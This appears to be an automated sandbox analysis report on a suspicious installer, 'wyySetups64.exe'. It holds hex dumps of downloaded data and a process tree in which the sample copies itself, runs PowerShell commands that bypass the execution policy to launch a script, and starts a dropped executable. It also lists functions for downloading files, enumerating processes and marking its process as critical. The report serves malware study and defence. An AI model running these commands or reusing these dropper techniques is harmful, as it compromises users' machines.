2024-12-29 08:02:01 UTC	16384	IN	Data Raw: 74 24 2c e8 ba 00 00 00 8d 44 24 0c e8 81 04 00 00 eb 3e 53 8d 4c 24 10 e8 35 f8 ff ff 83 c4 04 8d 74 24 2c e8 99 00 00 00 c7 44 24 48 ff ff ff ff 8b 44 24 0c 83 c0 f0 83 ca ff 8d 48 0c f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 b8 01 00 00 00 8b 4c 24 40 64 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc a1 a4 cd 4e 00 8b 50 0c b9 a4 cd 4e 00 ff d2 83 c0 10 89 06 a1 a4 cd 4e 00 8b 50 0c b9 a4 cd 4e 00 ff d2 83 c0 10 89 46 04 a1 a4 cd 4e 00 8b 50 0c b9 a4 cd 4e 00 ff d2 83 c0 10 89 46 08 8b c6 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 46 08 83 e8 10 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff d0 8b 46 04 83 e8 10 8d 48 0c 83 ca ff f0 0f c1 11 4a 85 d2 7f 0a 8b 08 8b 11 50 8b 42 04 ff Data Ascii: t$,D$>SL$5t$,D$HD$HJPBL$@dY_^]NPNNPNFNPNFFHJPBFHJPB
2024-12-29 08:02:01 UTC	16384	IN	Data Raw: 9c 24 74 04 00 00 68 02 00 00 80 89 5c 24 34 ff 15 40 e0 4b 00 3b c3 0f 85 bc 00 00 00 8b 7c 24 20 33 c0 89 7c 24 34 89 5c 24 38 89 44 24 2c 8d 49 00 8d 54 24 3c 52 53 53 53 8d 4c 24 2c 51 8d 94 24 60 02 00 00 52 50 be 04 01 00 00 57 89 74 24 3c ff 15 28 e0 4b 00 85 c0 0f 85 44 01 00 00 89 5c 24 14 89 5c 24 18 8d 44 24 28 50 6a 01 53 8d 8c 24 58 02 00 00 51 c6 84 24 74 04 00 00 01 57 89 5c 24 3c ff 15 40 e0 4b 00 3b c3 75 51 8b 6c 24 28 68 88 e6 4c 00 8d 54 24 18 89 74 24 20 52 8d 7c 24 24 8d 74 24 4c 89 6c 24 1c 89 5c 24 20 e8 6c db ff ff 85 c0 74 36 88 9c 24 64 04 00 00 3b eb 74 0b 55 ff 15 3c e0 4b 00 89 5c 24 14 89 5c 24 18 e9 b3 00 00 00 33 c0 e9 ef 00 00 00 88 9c 24 64 04 00 00 89 5c 24 18 e9 9c 00 00 00 8d 44 24 44 50 e8 87 64 07 00 83 c4 04 83 f8 Data Ascii: $th\$4@K;\|$ 3\|$4\$8D$,IT$<RSSSL$,Q$`RPWt$<(KD\$\$D$(PjS$XQ$tW\$<@K;uQl$(hLT$t$ R\|$$t$Ll$\$ lt6$d;tU<K\$\$3$d\$D$DPd
2024-12-29 08:02:01 UTC	16384	IN	Data Raw: ff 74 24 14 ff 31 ff 15 44 e0 4b 00 c2 08 00 55 8b ec 83 7d 0c 00 56 8b f1 75 05 6a 0d 58 eb 21 ff 75 0c ff 15 78 e3 4b 00 8d 44 00 02 50 ff 75 0c ff 75 10 6a 00 ff 75 08 ff 36 ff 15 44 e0 4b 00 5e 5d c2 0c 00 53 56 8b 74 24 10 8b d9 85 f6 75 05 6a 0d 58 eb 2d 57 33 ff 56 ff 15 78 e3 4b 00 40 8d 0c 00 03 f1 03 f9 83 f8 01 75 ec 57 ff 74 24 18 6a 07 6a 00 ff 74 24 20 ff 33 ff 15 44 e0 4b 00 5f 5e 5b c2 08 00 ff 74 24 08 ff 74 24 08 ff 15 68 e3 4b 00 f7 d8 1a c0 fe c0 c3 b8 09 00 02 80 c2 04 00 8b 01 6a 27 59 66 3b 08 75 13 50 ff 15 64 e5 4b 00 6a 27 59 66 3b 08 74 04 33 c0 40 c3 33 c0 c3 8b 44 24 04 83 f8 64 56 8b f1 7d 05 b8 e8 03 00 00 83 26 00 6a 02 50 89 46 04 e8 88 fc ff ff 59 59 89 46 08 85 c0 74 05 33 c9 66 89 08 8b c6 5e c2 04 00 ff 71 08 ff 15 74 Data Ascii: t$1DKU}VujX!uxKDPuuju6DK^]SVt$ujX-W3VxK@uWt$jjt$ 3DK_^[t$t$hKj'Yf;uPdKj'Yf;t3@3D$dV}&jPFYYFt3f^qt
2024-12-29 08:02:01 UTC	16384	IN	Data Raw: 56 8b f1 8b 0e 85 c9 74 08 e8 dc fd ff ff 83 26 00 5e c3 55 8b ec 83 7d 08 00 56 57 8b f9 75 0a 68 57 00 07 80 e8 b8 15 ff ff ff 75 0c ff 75 08 e8 fb a1 06 00 59 59 8b f0 56 8b cf e8 f1 04 ff ff ff 75 0c 8d 4e 01 ff 75 08 51 50 e8 27 a4 06 00 83 c4 10 56 8b cf e8 06 05 ff ff 5f 5e 5d c2 08 00 56 8b f1 6a 00 6a 00 8d 4e 14 e8 70 ad ff ff 85 c0 75 0d 6a 0e ff 15 64 e3 4b 00 83 c8 ff eb 2d 56 83 c6 08 56 68 c0 cd 4e 00 e8 18 cc ff ff ff 74 24 0c 68 6b a9 41 00 ff 74 24 10 68 81 00 00 00 ff 35 34 cd 4e 00 ff 15 84 e5 4b 00 5e c2 08 00 e9 48 ff ff ff 6a 00 b8 e9 40 4b 00 e8 8f 89 06 00 8b 45 08 83 65 fc 00 85 c0 74 04 8b 00 eb 02 33 c0 8b 11 50 51 ff 52 0c 8b 4d 08 8b f0 85 c9 74 05 e8 00 fd ff ff 8b c6 e8 3a 8a 06 00 c2 04 00 6a 00 b8 0c 41 4b 00 e8 53 89 06 Data Ascii: Vt&^U}VWuhWuuYYVuNuQP'V_^]VjjNpujdK-VVhNt$hkAt$h54NK^Hj@KEet3PQRMt:jAKS
2024-12-29 08:02:02 UTC	16384	IN	Data Raw: 44 0a 35 3e c7 85 a4 fd ff ff d5 cd b4 bc c7 85 a8 fd ff ff a8 ce ea 72 c7 85 ac fd ff ff bb 84 64 fa c7 85 b0 fd ff ff ae 12 66 8d c7 85 b4 fd ff ff 47 6f 3c bf c7 85 b8 fd ff ff 63 e4 9b d2 c7 85 bc fd ff ff 9e 5d 2f 54 c7 85 c0 fd ff ff 1b 77 c2 ae c7 85 c4 fd ff ff 70 63 4e f6 c7 85 c8 fd ff ff 8d 0d 0e 74 c7 85 cc fd ff ff 57 13 5b e7 c7 85 d0 fd ff ff 71 16 72 f8 c7 85 d4 fd ff ff 5d 7d 53 af c7 85 d8 fd ff ff 08 cb 40 40 c7 85 dc fd ff ff cc e2 b4 4e c7 85 e0 fd ff ff 6a 46 d2 34 c7 85 e4 fd ff ff 84 af 15 01 c7 85 e8 fd ff ff 28 04 b0 e1 c7 85 ec fd ff ff 1d 3a 98 95 c7 85 f0 fd ff ff b4 9f b8 06 c7 85 f4 fd ff ff 48 a0 6e ce c7 85 f8 fd ff ff 82 3b 3f 6f c7 85 fc fd ff ff 82 ab 20 35 c7 85 00 fe ff ff 4b 1d 1a 01 c7 85 04 fe ff ff f8 27 72 27 c7 Data Ascii: D5>rdfGo<c]/TwpcNtW[qr]}S@@NjF4(:Hn;?o 5K'r'
2024-12-29 08:02:02 UTC	16384	IN	Data Raw: ff 39 be f0 10 00 00 0f 84 d4 01 00 00 8b 45 10 8d 4e 08 89 86 04 11 00 00 89 be f4 10 00 00 e8 98 cc ff ff 8d 9e cc 10 00 00 8b cb 89 5d f0 e8 bc 99 ff ff ff 75 0c 89 7e 4c 8d 7e 58 8b cf e8 15 92 ff ff 57 e8 bb 94 ff ff c7 04 24 5c 11 4c 00 ff 37 e8 0d 02 06 00 f7 d8 59 1b c0 59 40 8d 4d d0 89 86 f8 10 00 00 e8 cc d3 ff ff 83 65 fc 00 8d 4d e8 e8 c0 d3 ff ff 8d 45 e8 50 8d 45 d0 50 ff 75 08 c6 45 fc 01 e8 c3 94 ff ff 83 c4 0c 8b cf e8 d7 90 ff ff 83 f8 03 0f 82 20 01 00 00 8d 4d d0 e8 c6 90 ff ff 83 f8 02 0f 82 0f 01 00 00 8d 4d e8 e8 b5 90 ff ff 83 f8 02 0f 82 fe 00 00 00 8d 7e 60 8b 07 33 c9 66 89 08 8d 4d d8 e8 48 d3 ff ff 8d 4d e0 c6 45 fc 02 e8 3c d3 ff ff bb a6 3d 42 00 eb 45 8b cf e8 80 90 ff ff 85 c0 74 71 57 8d 4d e8 e8 5e 91 ff ff ff 75 e0 e8 Data Ascii: 9EN]u~L~XW$\L7YY@MeMEPEPuE MM~`3fMHME<=BEtqWM^u

Target ID:	0
Start time:	03:01:54
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\wyySetups64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\wyySetups64.exe"
Imagebase:	0x400000
File size:	3'213'672 bytes
MD5 hash:	97090426A42466D139D3E45F47C652F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:01:57
Start date:	29/12/2024
Path:	C:\Users\user\AppData\Roaming\wyySetups64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wyySetups64.exe"
Imagebase:	0x400000
File size:	3'213'672 bytes
MD5 hash:	97090426A42466D139D3E45F47C652F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:02:04
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:02:05
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:02:05
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:02:05
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:02:05
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x810000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:02:05
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0x810000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:02:08
Start date:	29/12/2024
Path:	C:\Users\user\Downloads\360instpatch.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Downloads\360instpatch.exe
Imagebase:	0xb10000
File size:	4'118'496 bytes
MD5 hash:	AAA0F14BDFE3777EEE342C27DE409E6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 17%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:02:08
Start date:	29/12/2024
Path:	C:\Users\user\Downloads\360instpatch.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Downloads\360instpatch.exe
Imagebase:	0xb10000
File size:	4'118'496 bytes
MD5 hash:	AAA0F14BDFE3777EEE342C27DE409E6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:02:11
Start date:	29/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	99.8%
Signature Coverage:	4.7%
Total number of Nodes:	1622
Total number of Limit Nodes:	5

Executed Functions

Function 00D50032 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00D504AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 00D504DE

Strings

st, xrefs: 00D501AD
Ta, xrefs: 00D5027D
Vi, xrefs: 00D5012C
b, xrefs: 00D50113
a, xrefs: 00D5011C
b, xrefs: 00D50287
tu, xrefs: 00D50137
fo, xrefs: 00D5022C
iv, xrefs: 00D50212
ushI, xrefs: 00D5019B
ee, xrefs: 00D500F0
tu, xrefs: 00D50166
Li, xrefs: 00D5010C
a, xrefs: 00D50103
Rt, xrefs: 00D50233
o, xrefs: 00D501C9
ctio, xrefs: 00D5026B
Cach, xrefs: 00D501FA
Fu, xrefs: 00D5025A
Via, xrefs: 00D50312
a, xrefs: 00D5016D
P, xrefs: 00D50176
tNat, xrefs: 00D5020A
t, xrefs: 00D50187
A, xrefs: 00D50244
oc, xrefs: 00D50154
Syst, xrefs: 00D50219
ucti, xrefs: 00D501BE
otec, xrefs: 00D5017F
a, xrefs: 00D5013E
S, xrefs: 00D500E7
p, xrefs: 00D500F7
A, xrefs: 00D50147
Lo, xrefs: 00D500FC
G, xrefs: 00D50205
F, xrefs: 00D5018C
mI, xrefs: 00D50221
yA, xrefs: 00D50125

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: 6601f719d48952b094e19204eb64ec801f5cd8b10b545eaf248174b32aa51810
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: 3C627B325083858FDB21CF24C840BABBBE4FF94705F18492DEDC99B251E7709948CBA6

Function 10001BB0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 143
networkfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(URLDownloader,00000001,00000000,00000000,00000000), ref: 10001BCA
InternetOpenUrlA.WININET(?,?,00000000,00000000,80000000,00000000), ref: 10001BE6
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,10012458,?,10001BA3,?,?,?), ref: 10001BF8
HttpQueryInfoW.WININET(?,20000005,00000000,00000004,00000000), ref: 10001C2D
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 10001C4A
InternetReadFile.WININET(?,?,00001000,?), ref: 10001C65
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 10001C8E
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 10001D1B
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 10001D2B
InternetCloseHandle.WININET(?), ref: 10001D38
InternetCloseHandle.WININET(?), ref: 10001D42
GetParent.USER32(?), ref: 10001D4C
ShowWindow.USER32(?,00000000), ref: 10001D5B
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10001D93

Strings

URLDownloader, xrefs: 10001BC5

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Internet$CloseHandleMessageOpenSend$FileHttpInfoParentQueryReadShowWindowexitfclosefopenfwrite
String ID: URLDownloader
API String ID: 3413257080-1891997712
Opcode ID: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction ID: ddbd601f5f187a188268b5c7d9f2a971705c802d5f1a5a55912b1b5dcc305942
Opcode Fuzzy Hash: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction Fuzzy Hash: 2A5109B5D40219ABEB04DFA4CC85FEEB775FF48741F108209F605BA290D774AA90CB61

Function 1000F260 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 61
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1000F26D
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 1000F298
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1000D110), ref: 1000F2C1
CloseHandle.KERNEL32(000000FF), ref: 1000F2CB

Strings

Failed to retrieve first process., xrefs: 1000F2A2

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@CloseCreateD@std@@@std@@FirstHandleProcess32SnapshotToolhelp32U?$char_traits@V01@@
String ID: Failed to retrieve first process.
API String ID: 592929778-1967016982
Opcode ID: 98de57343e861626075a39aa984df5a9d5828a3fa4c83e5535eac612fe9e42d8
Instruction ID: 0ce586cc59c24ae6f6b9b608917b68c1bdf63cf15262094913b6f28177916ec4
Opcode Fuzzy Hash: 98de57343e861626075a39aa984df5a9d5828a3fa4c83e5535eac612fe9e42d8
Instruction Fuzzy Hash: 0D1196B4900218FFEB10EFB0CD89AAE77B8EF08391F104699E90597155D734EB54EB50

Function 1000EE80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RpcStringBindingComposeW.RPCRT4(00000000,100124B8,localhost,100124CC,00000000,10001D8E), ref: 1000EEBE
RpcBindingFromStringBindingW.RPCRT4(10001D8E,00000000), ref: 1000EED9
RpcBindingSetAuthInfoExA.RPCRT4(00000000,00000000,00000006,0000000A,00000000,00000000,00000001), ref: 1000EF10
RpcStringFreeW.RPCRT4(10001D8E), ref: 1000EF1A

Strings

localhost, xrefs: 1000EEB3

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Binding$String$AuthComposeFreeFromInfo
String ID: localhost
API String ID: 1126441048-2663516195
Opcode ID: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction ID: cda66700fc1d67de1566ef6c2ee8939abb6b7c8c1a3f56331cb5e05d924021ce
Opcode Fuzzy Hash: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction Fuzzy Hash: B611D7B4D00209BFEB14CFE4C985BEEBBB4FB08704F108159E605BB280D7B59A54CBA0

Function 10001A60 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 87
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitCommonControlsEx.COMCTL32(00000008), ref: 10001A93
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 10001A9D
CreateWindowExW.USER32(00000000,msctls_progress32,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 10001AC3
SetWindowTheme.UXTHEME(00010420,10012444,10012440), ref: 10001ADE
SendMessageW.USER32(00010420,00000409,00000000,00D77800), ref: 10001AF7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C), ref: 10001B08
CreateThread.KERNEL32(00000000,00000000,Function_00001B80,?,00000000,00000000), ref: 10001B49
PostQuitMessage.USER32(00000000), ref: 10001B54
DefWindowProcW.USER32(00000002,?,?,?), ref: 10001B6D

Strings

, xrefs: 10001A88
msctls_progress32, xrefs: 10001ABC

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Window$CreateMessage$CommonControlsHandleInitModulePostProcQuitSendThemeThreadmalloc
String ID: $msctls_progress32
API String ID: 1181878002-3669180086
Opcode ID: b9dbfd839ac4d6ccd5c8ee77aae33a48e54b131b2285833d3f814014fb2396b0
Instruction ID: 2e44a71670f0cdec86f34bb6316c117ddb1687e3aa8b51598d2db09470581217
Opcode Fuzzy Hash: b9dbfd839ac4d6ccd5c8ee77aae33a48e54b131b2285833d3f814014fb2396b0
Instruction Fuzzy Hash: 9431F6B4A44208FFF710DF94CC89FAA7BB5EB48741F208158FA09AB295D770E950CB65

Function 10001830 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 153
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 10001852

Part of subcall function 10001600: SHGetKnownFolderPath.SHELL32(10012340,00000000,00000000,00000000), ref: 1000165B
Part of subcall function 10001600: wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 1000167A
Part of subcall function 10001600: CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100016AE

RegisterClassW.USER32(?), ref: 100019AD
CreateWindowExW.USER32(00000000,?,00000000,00000000,?,?,?,?,?,?,10011876), ref: 100019E8
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,10011876), ref: 100019F7
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 10001A1E
TranslateMessage.USER32(?), ref: 10001A2C
DispatchMessageW.USER32(?), ref: 10001A36

Strings

URLDownloader, xrefs: 1000195E

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: MessageWindow$CallbackClassCreateDispatchDispatcherFolderFreeHandleKnownModulePathRegisterShowTaskTranslateUserwcstombs
String ID: URLDownloader
API String ID: 919245287-1891997712
Opcode ID: d7e5858510ef4e4d2c6ac9c6255a0426f83fb6908b9dccf1c9d93bd52c33f40c
Instruction ID: 02b1e0a1a7493eeed2e2321454f16a2ce6d8cc5e573885ca1cf39a898ac010b9
Opcode Fuzzy Hash: d7e5858510ef4e4d2c6ac9c6255a0426f83fb6908b9dccf1c9d93bd52c33f40c
Instruction Fuzzy Hash: 215107B5D00318AFEB54CFA4CC45BDEBBB5FB48340F108169E119A7295EB746A44CF61

Function 10010610 Relevance: 7.5, APIs: 5, Instructions: 28
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 1001061D
WaitForSingleObject.KERNEL32(00000000), ref: 10010624
CreateThread.KERNEL32(00000000,00000000,100048C0,00000000,00000000,00000000), ref: 10010639
CreateThread.KERNEL32(00000000,00000000,100100C0,00000000,00000000,00000000), ref: 1001064E

Part of subcall function 10001170: LoadLibraryW.KERNEL32(ntdll.dll), ref: 1000117B
Part of subcall function 10001170: GetProcAddress.KERNEL32(?,RtlAdjustPrivilege), ref: 1000118D
Part of subcall function 10001170: GetProcAddress.KERNEL32(?,RtlSetProcessIsCritical), ref: 100011A1
Part of subcall function 10001170: GetModuleHandleA.KERNEL32(00000000), ref: 100011FD
Part of subcall function 10001170: RegisterClassW.USER32(?), ref: 10001211
Part of subcall function 10001170: CreateWindowExW.USER32(00000000,ndowClass,indow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 10001236

exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001065B

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: CreateThread$AddressProc$ClassCurrentHandleLibraryLoadModuleObjectRegisterSingleWaitWindowexit
String ID:
API String ID: 1070008423-0
Opcode ID: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction ID: b32196050963cedc899c835c863bf3fa77a81109efd19031f53f5ae39edb479e
Opcode Fuzzy Hash: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction Fuzzy Hash: 71E026B53C4354BBF265A7E05C8BF4936549B09F42F608650F309BD0E2CAF4B450C62D

Function 1000F330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1000EE80: RpcStringBindingComposeW.RPCRT4(00000000,100124B8,localhost,100124CC,00000000,10001D8E), ref: 1000EEBE

_swprintf.LIBCMTD ref: 1000F3DC
Sleep.KERNEL32(000003E8), ref: 1000F433
Sleep.KERNEL32(000003E8), ref: 1000F484

Strings

